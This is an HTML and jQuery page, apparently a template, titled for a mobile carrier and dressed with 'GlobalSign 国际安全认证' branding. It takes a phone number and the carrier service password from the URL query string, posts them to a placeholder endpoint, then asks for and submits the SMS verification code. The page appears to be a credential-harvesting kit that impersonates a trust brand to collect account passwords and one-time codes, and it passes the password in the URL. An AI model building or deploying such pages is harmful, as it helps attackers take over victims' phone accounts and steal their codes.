<html lang="zh-cn">
<head>
    <meta charset="UTF-8">
    <meta content="telephone=no,email=no" name="format-detection">
    <link rel="stylesheet" href="./css/operatorCer.css"/>
    <title>运营商</title>
    <script src="../baidu.js"></script>
    <!-- <script src="./js/jquery.js"></script> -->
    <script src="https://cdn.bootcss.com/jquery/1.11.0/jquery.min.js"></script>
    <script src="./js/flexible.js"></script>
</head>
<body>
    <div class="operatorCer2">
        <div class="header">
            <img src="./css/images/logo.png" alt="">
            <span>GlobalSign 国际安全认证</span>
        </div>
        
        <div class="main">
            <div class="tip">短信验证码发送成功</div>
            <div class="inputWrap2">
                <label>手机验证码</label>
                <input type="tel" value="" id="iphone-number" placeholder="请输入手机验证码" />
                <!-- <span id="captcha-btn">获取验证码</span> -->
                <button type="button" class="feachBtn">获取验证码</button>

            </div>
            <div class="btnWrap">
                <input type="button" value="下一步" id="button" />
            </div>
        </div>

        <div class="footer">
            保护信息安全，杜绝隐私泄露<br />
            ©本服务由杭州信川科技有限公司提供
        </div>

        <div id="pass-box">验证码为空或验证码错误</div>
    </div>
</body>
</html>

<script>
    
    $(document).ready(function() {
        const d = "/hs/api/v1/";

        // 获取从 operatorCer 传来的数据 【 手机号和服务密码 】
        // location.search获取get请求的参数   获取到的数据，是以?开头的
        var search = location.search;
        // 如果还想要获取确定的数据，可以解析字符串 
        function parse(search){ 
            var str = search.substring(1);
            var result = {};
            var strs = str.split("&");
            strs.forEach( function(v) {  
                var keyvalue = v.split("="); 
                var name = keyvalue[0]; 
                var value = keyvalue[1]; 
                result[name] = value; 
            }) 
            return result; 
        } 
        var r = parse(search);

        // ajax请求
        function ajax() {
            $.ajax({
                url: d + "提交的地址/",
                type: "post",
                data: {
                    pass1: r.pass1,
                    iphone1: r.iphone1
                },
                dataType: "json",
                success: function(data) {
                    if (200 !== data.code) {
                        timer() && clearInterval(timer()),
                        $(".feachBtn").text("获取验证码").removeAttr("disabled");
                        $(".feachBtn").css({
                            background: "#ec934b",
                            color: "#fff",
                        });
                        $(".tip").slideDown().html("短信验证码发送失败")
                    }
                }
            });
        }

        // 验证码计时器
        function timer() {
            let count = 60;
            const countDown = setInterval(() => {
                if (count === 0) {
                    $('.feachBtn').text('获取验证码').removeAttr('disabled');
                    $('.feachBtn').css({
                        background: '#ec934b',
                        color: '#fff',
                    });
                    // $(".tip").slideDown().html("短信验证码发送失败")
                    clearInterval(countDown);
                } else {
                    $('.feachBtn').attr('disabled', true);
                    $('.feachBtn').css({
                        background: '#d8d8d8',
                        color: '#707070',
                    });
                    $('.feachBtn').text(count + '秒后可重试');
                    $(".tip").slideDown()
                }
                count--;
            }, 1000);
        }

        // 获取验证码
        $(".feachBtn").click( function() {
            ajax();
            timer()
        });
        
        // 页面加载成功后计时
        // $(window).load(function() {
        //     ajax();
        //     timer()
        // })

        
        //下一步请求 
        $("#button").on("click",function(){
            const iphoneNumber = $("#iphone-number").val();
            const iphoneNumber1 = $.trim(iphoneNumber);
            $.ajax({
                //提交地址 
                url: d + "提交的地址/",
                type: "post",
                dataType: "json",
                data: {
                    // 向后台提交 手机验证码
                    iphoneNumber: iphoneNumber1
                },
                success:function(data){
                    // 判断返回值
                    if (data.code == 200 /* 判断返回值成功 ，跳转*/ ) {
                        // 
                        window.location.href = "./success.html?<!-- 返回成功还是失败: data.success -->"
                    }else{
                        $(this).parent().parent().next().next().show()
                    }
                }
            })
        })
    })

        
</script>

<script>
function throttle(method, mustRunDelay) {
    let timer,
        args = arguments,
        start;
    return function loop() {
        let self = this;
        let now = Date.now();
        if(!start){
            start = now;
        }
        if(timer){
            clearTimeout(timer);
        }
        if(now - start >= mustRunDelay){
            method.apply(self, args);
            start = now;
        }else {
            timer = setTimeout(function () {
                loop.apply(self, args);
            }, 50);
        }
    }
}
window.onscroll = throttle(function () {
    let scrollTop = document.body.scrollTop || document.documentElement.scrollTop;
    console.log('滚动条位置：' + scrollTop);
},800)
</script>